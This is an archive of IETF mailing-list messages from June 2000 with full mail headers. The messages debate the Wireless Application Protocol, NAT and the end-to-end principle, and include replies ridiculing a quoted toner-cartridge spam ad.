     http://www.4K-Associates.com/4K-Associates/Library.html.





From owner-ietf-outbound  Tue Jun 20 06:00:47 2000
Received: by ietf.org (8.9.1a/8.9.1a) id GAA15901
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 06:00:02 -0400 (EDT)
Received: from tina.nova.net.ng (host-216-226-210-6.interpacket.net [216.226.210.6])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA15873
	for <ietf@ietf.org>; Tue, 20 Jun 2000 05:59:35 -0400 (EDT)
Received: from dns (unverified [216.226.210.2]) by tina.nova.net.ng
 (Rockliffe SMTPRA 3.4.7) with SMTP id <B0000023015@tina.nova.net.ng>;
 Tue, 20 Jun 2000 10:57:40 +0100
Message-ID: <009901bfda96$055fb090$02d2e2d8@dns.nova.net.ng>
From: "Yaya A. Abatan" <yabatan@nova.net.ng>
To: <Whitetreestreststst@aol.com>, <ietf@ietf.org>
Subject: Re: Best Toner Cartridge Prices Ever
Date: Tue, 20 Jun 2000 11:00:45 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

I think this guy should be taken off this list.


-----Original Message-----
From: 9876sdgpo09@aol.com <9876sdgpo09@aol.com>
To: ietf@ietf.org <ietf@ietf.org>
Date: Monday, June 19, 2000 9:59 PM
Subject: Best Toner Cartridge Prices Ever



D&J PRINTING CORPORATION
  3103 LEXINGTON FARMS DR
  ALPHARETTA,  GA  30004
    (770) 619-0716

     --LASER, FAX AND COPIER PRINTER TONER CARTRIDGES--

*WE ACCEPT GOVERNMENT, SCHOOL AND UNIVERSITY PURCHASE ORDERS*


CHECK OUT OUR NEW CARTRIDGE PRICES:


APPLE
  
  LASER WRITER PRO 600 OR 16/600                $65
  LASER WRITER SELECT 300, 310, 360             $65
  LASER WRITER 300, 320                         $54
  LASER WRITER LS, NT, 2NTX, 2F, 2G AND 2SC     $54
  LASER WRITER 12/640                           $75

HEWLETT PACKARD


  LASERJET SERIES 2, 3 AND 3D (95A)             $49
  LASERJET SERIES 2P AND 3P (75A)   $54
  LASERJET SERIES 3SI AND 4SI (91A)             $75
  LASERJET SERIES 4L AND 4P                     $45
  LASERJET SERIES 4, 4M, 5, 5M, 4+ (98A)        $55
  LASERJET SERIES 4000 HIGH YIELD (27X)         $95
  LASERJET SERIES 4V                            $90
  LASERJET SERIES 5SI, 8000                     $95
  LASERJET SERIES 5L AND 6L                     $49
  LASERJET SERIES 5P, 5MP, 6P, 6MP              $59
  LASERJET SERIES 5000 (29A)                    $125
  LASERJET SERIES 1100 (92A)                    $50
  LASERJET SERIES 2100 (96A)                    $80
  LASERJET SERIES 8100 (82X)                    $135
  

HEWLETT PACKARD LASERFAX

  LASERFAX 500, 700, FX1                        $57
  LASERFAX 5000, 7000, FX2                      $57
  LASERFAX FX3                                  $67
  LASERFAX FX4                                  $77






LEXMARK

  OPTRA 4019, 4029 HIGH YIELD                   $130
  OPTRA R, 4039, 4049 HIGH YIELD                $135
  OPTRA S, 4059 HIGH YIELD                      $135
  OPTRA E                                       $59
  OPTRA N                                       $110


EPSON

  EPL-7000, 8000                                $100
  EPL-1000, 1500                                $100
  

CANON

  LBP-430                                       $49
  LBP-460, 465                                  $59
  LBP-8 II $54
  LBP-LX $54
  LBP-MX $95
  LBP-AX $49
  LBP-EX $59
  LBP-SX $49
  LBP-BX $95
  LBP-PX $49
  LBP-WX $95
  LBP-VX $59
  CANON FAX L700 THRU L790 (FX1) $59
  CANON FAX L5000 THRU L7000 (FX2) $59


CANON COPIERS

  PC 3, 6RE, 7, 11 (A30) $69
  PC 320 THRU 780 (E40) $85


NEC

  SERIES 2 LASER MODEL 90, 95 $105






PLEASE NOTE:

* WE SHIP UPS GROUND.  ADD $6.50 FOR SHIPPING AND HANDLING
* WE ACCEPT ALL MAJOR CREDIT CARDS OR "COD" ORDERS.
* COD CHECK ORDERS ADD $3.50 TO YOUR SHIPPING COST.
* OUR STANDARD MERCHANDISE REFUND POLICY IS NET 30 DAYS.  
* OUR STANDARD MERCHANDISE REPLACEMENT POLICY IS NET 90 DAYS.
* WE DO NOT SELL TO RESELLERS OR BUY FROM DISTRIBUTERS.
* WE DO NOT CARRY: BROTHER, MINOLTA, KYOSERA, PANASONIC, XEROX, 
                    FUJITSU, OKIDATA OR SHARP PRODUCTS. 
* WE ALSO DO NOT CARRY: COLOR PRINTER SUPPLIES, DESKJET/INKJET
                    OR BUBBLEJET SUPPLIES.
* WE DO NOT BUY FROM OR SELL TO RECYCLERS OR REMANUFACTURERS.


           -PLACE YOUR ORDER AS FOLLOWS-

1) BY PHONE (770) 619-0716
2) BY MAIL:  D AND J PRINTING CORPORATION
             3103 LEXINGTON FARMS DR 
             ALPHARETTA,   GA  30004

INCLUDE THE FOLLOWING INFORMATION WHEN YOU PLACE YOUR ORDER:

1) YOUR PHONE NUMBER
2) COMPANY NAME
3) SHIPPING ADDRESS
4) CONTACT NAME
5) ITEMS NEEDED WITH QUANTITIES
6) METHOD OF PAYMENT (COD OR CREDIT CARD)
7) CREDIT CARD NUMBER WITH EXPIRATION DATE
**** IF YOU ARE ORDERING BY PURCHASE ORDER, PLEASE INCLUDE A 
     SEPARATE BILLING ADDRESS AND SHIPPING ADDRESS WHEN NEEDED.
  




From owner-ietf-outbound  Tue Jun 20 10:30:41 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA23485
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 10:30:02 -0400 (EDT)
Received: from ennovatenetworks.com (ennovatenetworks.com [208.227.99.254])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA23418
	for <ietf@ietf.org>; Tue, 20 Jun 2000 10:27:36 -0400 (EDT)
Received: from broncos (broncos.tst.ennovatenetworks.com [10.1.1.208])
	by ennovatenetworks.com (8.8.7/8.8.7) with SMTP id KAA06237;
	Tue, 20 Jun 2000 10:26:34 -0400 (EDT)
	(envelope-from bkumar@ennovatenetworks.com)
Reply-To: <bkumar@ennovatenetworks.com>
From: "Brijesh Kumar" <bkumar@ennovatenetworks.com>
To: "'Mohsen BANAN-Public'" <public@mohsen.banan.1.byname.net>,
        "'IETF Mailing List'" <ietf@ietf.org>
Subject: RE: WAP Is A Trap -- Reject WAP
Date: Tue, 20 Jun 2000 10:30:31 -0400
Message-ID: <010601bfdac4$17868400$d001010a@tst.ennovatenetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <20000620064913.27719.qmail@tooran.byname.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Mohsen Banan,

I tried hard to agree what you said - but many inaccuracies and
assumptions made in the article made my task so hard that I had to
finally give up reading it. Having spent last several years in the
wireless industry, and also having written some "not-so-open" as you
say, but widely adopted wireless specifications nevertheless, I have
some sympathy with your cause. But you may need to weed out some of
the rhetoric that is not technically correct.

It is an open secret that wireless industry is a closed cartel of
three super heavyweights (Motorola, Ericsson, and Nokia) and two heavy
weights (Lucent and Nortel). There is no role for any smaller
organization in the set up. Hope God give you wisdom to  accept this
truth with cheerfulness, as many other small companies in the wireless
industry have accepted ;-).

Cheers,

--brijesh
(my personal opinion only, and  this in no way represents opinion of
my employer.)

PS: By the way, ReFLEX is perfectly fine for two way messaging
applications.




>
>
>                    The WAP Trap
>
>   An Expose of the Wireless Application Protocol
>
>  Mohsen Banan <public@mohsen.banan.1.byname.net>
>                        for:
>            Free Protocols Foundation
>           http://www.FreeProtocols.org
>
>                   Version 1.6
>                   May 26, 2000
>
>
>



From owner-ietf-outbound  Tue Jun 20 11:10:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA25460
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 11:10:02 -0400 (EDT)
Received: from localhost.localdomain ([216.52.68.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA25363
	for <ietf@ietf.org>; Tue, 20 Jun 2000 11:06:10 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id LAA29333
	for <ietf@ietf.org>; Tue, 20 Jun 2000 11:06:06 -0400
Sender: francis@localhost.localdomain
Message-ID: <394F885D.FBF3D18E@ecal.com>
Date: Tue, 20 Jun 2000 11:06:06 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: IETF Mailing List <ietf@ietf.org>
Subject: Re: WAP Is A Trap -- Reject WAP
References: <20000620064913.27719.qmail@tooran.byname.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Mohsen BANAN-Public wrote:

> In the WAP model, by contrast, the WAP gateway
> operated by the Service Provider plays the active
> role of translating and storing web content, and
> therefore controls access to the content by the
> end-user.

I'm pretty sure this is inaccurate.  The content provider develops their
site in WML and hosts it on their own website; the service provider does
not translate it or store it (though they may cache it).

(I say "pretty sure" because I haven't done any WAP development,
only HDML.)

> New websites and new web content do not
> become available to the end-user without the
> active participation of the Service Provider.

This can be true (for different reasons), but not always.  The user may
not be able to go to an arbitrary URL; they have to entire the WAP world
via the service provider's home page, and get guided to the content sites
the provider wants them to see.  Some (most? all?) providers, though, will
provide a form to fill out to go to a URL (I know Sprint does); and some
cellphones may include a browser that lets the user enter a URL (I don't
know of any that do, but there's nothing to stop them).

--
/==============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own.|
|Chief Scientist |=============================================|
|eCal Corp.      |That is correct. I'm out of fuel. My landing |
|francis@ecal.com|gear is jammed. And there's an unhappy bald  |
|                |eagle loose in the cockpit.                  |
\==============================================================/





From owner-ietf-outbound  Tue Jun 20 11:20:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA25779
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 11:20:03 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA25436
	for <ietf@ietf.org>; Tue, 20 Jun 2000 11:09:32 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id KAA18435
	for <ietf@ietf.org>; Tue, 20 Jun 2000 10:07:09 -0500 (CDT)
Message-Id: <200006201507.KAA18435@rgfsparc.cr.usgs.gov>
Date: Tue, 20 Jun 2000 10:07:09 -0500 (CDT)
From: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Reply-To: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Subject: RE: fyi.. House Committee Passes Bill Limiting Spam E-Mail 
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: m40GDwDip7phwd1fQ22Vtg==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc 
X-Loop: ietf@ietf.org

>	The possibility remains, however, that this solution might not be
>popular with the people in the business of producing such advertisements. 

Aye, there's the rub.  

Most of the unsolicited commercial email I receive that I would 
classify as true 'spam' is shotgunned indiscriminately to people with no 
apparent common interests other than having an email address. It seems to 
me that enforcing any sender-originated controls over this sort of 
communication will be tough.  Spammers for the most part know they're being 
annoying; they just figure the small percentage of people who do respond make 
the effort worthwhile, especially if they're able to achieve a certain level of 
anonymity using spoofing software or anonymous remailers.  These folks are 
unlikely to conform with any standard that inhibits their ability to hit as many 
people as possible with their message.

Cheers,

RGF

Robert G. Ferrell, CISSP
========================================
 Who goeth without humor goeth unarmed.
========================================



From owner-ietf-outbound  Tue Jun 20 11:40:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA26560
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 11:40:02 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA26369
	for <ietf@ietf.org>; Tue, 20 Jun 2000 11:37:14 -0400 (EDT)
Received: from rgfsparc.cr.usgs.gov (rgfsparc.cr.usgs.gov [136.177.164.192])
	by rgfsparc.cr.usgs.gov (8.9.3+Sun/8.9.1) with SMTP id KAA18570
	for <ietf@ietf.org>; Tue, 20 Jun 2000 10:35:00 -0500 (CDT)
Message-Id: <200006201535.KAA18570@rgfsparc.cr.usgs.gov>
Date: Tue, 20 Jun 2000 10:35:00 -0500 (CDT)
From: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Reply-To: "Robert G. Ferrell" <root@rgfsparc.cr.usgs.gov>
Subject: Re: Best Toner Cartridge Prices Ever
To: ietf@ietf.org
MIME-Version: 1.0
Content-Type: TEXT/plain; charset=us-ascii
Content-MD5: 5ZOGAHlHRqkawef/Z/yd5A==
X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc 
X-Loop: ietf@ietf.org

>     --LASER, FAX AND COPIER PRINTER TONER CARTRIDGES--
>

I submit this as a candidate for the in situ definition of irony (not to 
mention pristine timing).

;-)

RGF

Robert G. Ferrell, CISSP
========================================
 Who goeth without humor goeth unarmed.
========================================



From owner-ietf-outbound  Tue Jun 20 12:00:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA27252
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 12:00:03 -0400 (EDT)
Received: from diablo.cisco.com (diablo.cisco.com [171.68.224.210])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA27119
	for <ietf@ietf.org>; Tue, 20 Jun 2000 11:56:17 -0400 (EDT)
Received: (truskows@localhost) by diablo.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) id IAA03916; Tue, 20 Jun 2000 08:55:47 -0700 (PDT)
From: Mike Truskowski <truskows@cisco.com>
Message-Id: <200006201555.IAA03916@diablo.cisco.com>
Subject: Re: Best Toner Cartridge Prices Ever
To: root@rgfsparc.cr.usgs.gov ("Robert G. Ferrell")
Date: Tue, 20 Jun 2000 8:55:47 PDT
Cc: ietf@ietf.org
In-Reply-To: <200006201535.KAA18570@rgfsparc.cr.usgs.gov>; from "Robert G. Ferrell" at Jun 20, 100 10:35 am
X-Mailer: Elm [revision: 212.4]
X-Loop: ietf@ietf.org

Sick the "Internet" police on them.

> 
> >     --LASER, FAX AND COPIER PRINTER TONER CARTRIDGES--
> >
> 
> I submit this as a candidate for the in situ definition of irony (not to 
> mention pristine timing).
> 
> ;-)
> 
> RGF
> 
> Robert G. Ferrell, CISSP
> ========================================
>  Who goeth without humor goeth unarmed.
> ========================================
> 
> 
> 



From owner-ietf-outbound  Tue Jun 20 15:40:36 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA02436
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 15:40:02 -0400 (EDT)
Received: from servo.qualcomm.com (servo.qualcomm.com [129.46.76.82])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA02395
	for <ietf@ietf.org>; Tue, 20 Jun 2000 15:36:53 -0400 (EDT)
Received: (from karn@localhost) by servo.qualcomm.com (8.9.3/8.9.3/1.0) id MAA26742; Tue, 20 Jun 2000 12:36:47 -0700 (PDT)
Date: Tue, 20 Jun 2000 12:36:47 -0700 (PDT)
Message-Id: <200006201936.MAA26742@servo.qualcomm.com>
From: Phil Karn <karn@qualcomm.com>
To: public@mohsen.banan.1.byname.net
CC: ietf@ietf.org, karn@qualcomm.com
In-reply-to: <20000620064913.27719.qmail@tooran.byname.net> (message from
	Mohsen BANAN-Public on 20 Jun 2000 06:49:13 -0000)
Subject: Re: WAP Is A Trap -- Reject WAP
X-Loop: ietf@ietf.org

I've worked in the wireless data field for a long time, first in
amateur packet radio, then on CDMA digital cellular at Qualcomm.
Naturally, what I say here are only my personal opinions.

I also scratched my head when WAP came out. It just didn't make any
technical sense. I see I'm not the only one; bravo for writing such a
good critique.

One thing missing from most block diagrams of WAP is the chute on the
bottom of the carrier's WAP gateway pouring out money. It's safe to
say that this chute is WAP's primary reason for existence.

WAP has gotten as far as it has (which isn't very far) only because
cell phones are closed, proprietary devices. The end user has no
choice which software or protocols it runs. The vendors make that
decision for you.

The best defense against WAP is an open handheld platform that allows
end users (and independent vendors and open-source developers) to run
applications and network protocols of their own choice.  As long as
the service providers support IP (perhaps in addition to WAP), the
open platform users can just ignore WAP and run standard Internet
applications. And they can benefit from all the work currently being
done in the IETF and elsewhere on making the Internet protocols work
even better over wireless than they already do.

Consider a Palm Pilot connected to a cell phone. (Or built into one,
like the pdQ). The Pilot is about as open as handheld platforms
currently get, and it already supports a multitude of Internet
protocols (TCP/IP/PPP, SMTP, etc). It is *far* more capable as a
handheld data terminal than the tiny display and keypad on a cell
phone. Exploit that combination and WAP will die a well-deserved death
on the vine.

The Internet end-to-end model will once again prevail, putting the
cellular service providers back into their proper place as providers
of packet pipes, nothing more. And life will be good again. :-)

Phil



From owner-ietf-outbound  Tue Jun 20 16:10:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA03025
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 16:10:02 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA02905
	for <ietf@ietf.org>; Tue, 20 Jun 2000 16:04:50 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200006201959.EAA17175@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id EAA17175; Wed, 21 Jun 2000 04:59:15 +0900
Subject: Re: WAP Is A Trap -- Reject WAP
In-Reply-To: <200006201936.MAA26742@servo.qualcomm.com> from Phil Karn at "Jun
 20, 2000 12:36:47 pm"
To: Phil Karn <karn@qualcomm.com>
Date: Wed, 21 Jun 2000 04:59:15 +0859 ()
CC: public@MOHSEN.BANAN.1.BYNAME.NET, ietf@ietf.org
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
X-Loop: ietf@ietf.org

Phil;

> The best defense against WAP is an open handheld platform that allows
> end users (and independent vendors and open-source developers) to run
> applications and network protocols of their own choice.  As long as
> the service providers support IP (perhaps in addition to WAP), the
> open platform users can just ignore WAP and run standard Internet
> applications. And they can benefit from all the work currently being
> done in the IETF and elsewhere on making the Internet protocols work
> even better over wireless than they already do.

Please state your wish carefully.

IP is NOT enough.

> The Internet end-to-end model will once again prevail, putting the
> cellular service providers back into their proper place as providers
> of packet pipes, nothing more. And life will be good again. :-)

IP over NAT is, in no way, end-to-end.

WAP and IP over NAT are equally bad.

See the attached mail in IETF more than a month ago.

							Masataka Ohta
--
Subject: Re: draft-ietf-nat-protocol-complications-02.txt
In-Reply-To: <4.3.1.2.20000430061634.0117de78@shoe.reston.mci.net> from "vinton
 g. cerf" at "Apr 30, 2000 06:20:48 am"
To: "vinton g. cerf" <vcerf@MCI.NET>
Date: Mon, 1 May 2000 17:41:59 +0859 ()
CC: Matt Holdrege <holdrege@lucent.com>, Thomas Narten <narten@raleigh.ibm.com>, 
 ietf@ietf.org
X-Mailer: ELM [version 2.4ME+ PL68 (25)]
Content-Length: 1614      
Status: RO

Vint;

> that's right - they use iMODE on the DOCOMO mobiles. iMODE and
> WAP seem to have that in common: a non-IP radio link protocol
> and an application gateway. Of course, this limits the applications
> to those that can be "translated" in the gateway, while an end to
> end system (such as the Ricochet from Metricom) would allow 
> essentially any application on an Internet server to interact
> directly with the mobile device because the gateway would merely
> be an IP level device, possibly with NAT functionality.
> With a JAVA interpreter or other similar capability in the
> mobile, one could imagine considerable competition for development
> of new applications. As it stands, only the applications NTT
> chooses to implement in the translating gateway are accessible.

An interesting thing is that iMODE is so successful that DOCOMO
is suffering from the usual problems (lack of scalability and
robustness) caused by violating the end to end principle.

iMODE is now infamous for its frequent service interruption.

DOCOMO users are refunded for the interruption.

> Since HTTP is one of the "applications" served, there is still
> a lot of room for competition, I suppose.

To make the competition fair, the important questions are:

	Is it fair if providers using iMODE or WAP are advertised
	to be ISPs?

	Is it fair if providers using NAT are advertised to be ISPs?

My answer to both questions is

	No, while they may be Internet Service Access Providers and
	NAT users may be IP Service Providers, they don't provide
	Internet service and are no ISPs.

Any oppositions?

						Masataka Ohta



From owner-ietf-outbound  Tue Jun 20 16:30:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA03373
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 16:30:02 -0400 (EDT)
Received: from servo.qualcomm.com (servo.qualcomm.com [129.46.76.82])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03278
	for <ietf@ietf.org>; Tue, 20 Jun 2000 16:22:14 -0400 (EDT)
Received: (from karn@localhost) by servo.qualcomm.com (8.9.3/8.9.3/1.0) id NAA27444; Tue, 20 Jun 2000 13:22:09 -0700 (PDT)
Date: Tue, 20 Jun 2000 13:22:09 -0700 (PDT)
Message-Id: <200006202022.NAA27444@servo.qualcomm.com>
From: Phil Karn <karn@qualcomm.com>
To: mohta@necom830.hpcl.titech.ac.jp
CC: public@mohsen.banan.1.byname.net, ietf@ietf.org, karn@qualcomm.com
In-reply-to: <200006201959.EAA17175@necom830.hpcl.titech.ac.jp> (message from
	Masataka Ohta on Wed, 21 Jun 2000 04:59:15 +0859 ())
Subject: Re: WAP Is A Trap -- Reject WAP
X-Loop: ietf@ietf.org

>IP over NAT is, in no way, end-to-end.

>WAP and IP over NAT are equally bad.

I think you're overstating your case. Yes, IP over NAT is bad, but
it's nowhere near as bad as WAP. I don't meant to defend NAT, but
many/most existing Internet protocols and applications do work over it
with few if any fixes. Sprint PCS uses a NAT, but I'm still able to
plug my Linux laptop into my Qualcomm phone and do pretty much
everything I want -- download and send mail, login to home with SSH,
check a few web pages, etc. If all I had is WAP, I'd be stuck.

If you want, it is still possible to "reconstruct" a true end-to-end
IP service by tunneling it through a NAT with something vaguely
resembling mobile IP. Such a scheme would probably use UDP or TCP as
its encapsulation wrapper so the NAT would have port numbers to keep
it happy, and it would require a cooperating tunnel at the far end
with "real" IP addresses it can hand out. Ugly, yes. But it would
work, and if this became widespread enough it might even convince the
carriers to reform their ways. (I can dream, can't I?)
 
In the meantime, I see a growing business opportunity here for
companies wishing to provide such VPN/tunnel endpoint services for
those who don't want to set up local NATs to hang multiple computers
off their one-IP-address-per-user dialup, DSL or cable ISPs, or who
don't want to deal with their carriers' ever-changing dynamic IP
address assignments. This would also be a good way to bootstrap your
way to IPv6 when your local ISP isn't interested.

Phil



From owner-ietf-outbound  Tue Jun 20 17:00:24 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA04287
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 17:00:02 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA04149
	for <ietf@ietf.org>; Tue, 20 Jun 2000 16:54:44 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id FAA17413; Wed, 21 Jun 2000 05:42:33 +0900
Subject: Re: WAP Is A Trap -- Reject WAP
To: karn@qualcomm.com (Phil Karn)
Date: Wed, 21 Jun 0 5:42:32 JST
Cc: mohta@necom830.hpcl.titech.ac.jp, public@mohsen.banan.1.byname.net,
        ietf@ietf.org, karn@qualcomm.com
In-Reply-To: <200006202022.NAA27444@servo.qualcomm.com>; from "Phil Karn" at Jun 21, 100 5:24 am
X-Mailer: ELM [version 2.3 PL11]
X-Loop: ietf@ietf.org

Phil;

> >IP over NAT is, in no way, end-to-end.
> 
> >WAP and IP over NAT are equally bad.
> 
> I think you're overstating your case. Yes, IP over NAT is bad, but
> it's nowhere near as bad as WAP.

If you think so, don't say "end-to-end".

> If you want, it is still possible to "reconstruct" a true end-to-end
> IP service by tunneling it through a NAT with something vaguely
> resembling mobile IP.

You can have IP over HTTP, IP over XML or IP over WAP equally easily.

The problem, however, is that the reconstruction point is an
intelligent gateway which violates the end to end principle.

							Masataka Ohta



From owner-ietf-outbound  Tue Jun 20 17:10:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA04512
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 17:10:01 -0400 (EDT)
Received: from localhost.localdomain ([216.52.68.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA04156
	for <ietf@ietf.org>; Tue, 20 Jun 2000 16:55:20 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id QAA30195
	for <ietf@ietf.org>; Tue, 20 Jun 2000 16:55:18 -0400
Sender: francis@localhost.localdomain
Message-ID: <394FDA35.5760109C@ecal.com>
Date: Tue, 20 Jun 2000 16:55:18 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: WAP Is A Trap -- Reject WAP
References: <200006202022.NAA27444@servo.qualcomm.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Phil Karn wrote:

> If you want, it is still possible to "reconstruct" a true end-to-end
> IP service by tunneling it through a NAT with something vaguely
> resembling mobile IP. Such a scheme would probably use UDP or TCP as
> its encapsulation wrapper so the NAT would have port numbers to keep
> it happy, and it would require a cooperating tunnel at the far end
> with "real" IP addresses it can hand out.

PPP over ssh, maybe?

--
/==============================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own.|
|Chief Scientist |=============================================|
|eCal Corp.      |Peace, justice, morality, culture, family,   |
|francis@ecal.com|sport, and the extinction of all other life  |
|                |forms!                                       |
\==============================================================/





From owner-ietf-outbound  Tue Jun 20 17:30:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA04821
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 17:30:02 -0400 (EDT)
Received: from localhost.localdomain ([216.52.68.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04741
	for <ietf@ietf.org>; Tue, 20 Jun 2000 17:21:11 -0400 (EDT)
Received: from ecal.com (localhost [127.0.0.1])
	by localhost.localdomain (8.9.3/8.9.3) with ESMTP id RAA30313
	for <ietf@ietf.org>; Tue, 20 Jun 2000 17:21:08 -0400
Sender: francis@localhost.localdomain
Message-ID: <394FE042.3B9AA99A@ecal.com>
Date: Tue, 20 Jun 2000 17:21:06 -0400
From: John Stracke <francis@ecal.com>
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i586)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Re: WAP Is A Trap -- Reject WAP
References: <200006202042.FAA17413@necom830.hpcl.titech.ac.jp>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Masataka Ohta wrote:

> You can have IP over HTTP, IP over XML or IP over WAP equally easily.
>
> The problem, however, is that the reconstruction point is an
> intelligent gateway which violates the end to end principle.

Mmm, how so? I'd see it as a router, which just happens to run over a
higher-level protocol than most.  Not a great design, but it does (can)
give you end-to-end IP.

--
/================================================================\
|John Stracke    | http://www.ecal.com |My opinions are my own.  |
|Chief Scientist |===============================================|
|eCal Corp.      |"Your reality, sir, is lies & balderdash, and I|
|francis@ecal.com|am pleased to say I have no grasp on it        |
|                |whatsoever!" --Baron Munchausen                |
\================================================================/





From owner-ietf-outbound  Tue Jun 20 20:31:45 2000
Received: by ietf.org (8.9.1a/8.9.1a) id UAA06815
	for ietf-outbound.10@ietf.org; Tue, 20 Jun 2000 20:30:01 -0400 (EDT)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA06704
	for <ietf@ietf.org>; Tue, 20 Jun 2000 20:24:45 -0400 (EDT)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <200006210014.JAA18096@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id JAA18096; Wed, 21 Jun 2000 09:14:20 +0900
Subject: Re: WAP Is A Trap -- Reject WAP
To: francis@ecal.com (John Stracke)
Date: Wed, 21 Jun 0 9:14:19 JST
Cc: ietf@ietf.org
In-Reply-To: <394FE042.3B9AA99A@ecal.com>; from "John Stracke" at Jun 21, 100 6:34 am
X-Mailer: ELM [version 2.3 PL11]
X-Loop: ietf@ietf.org

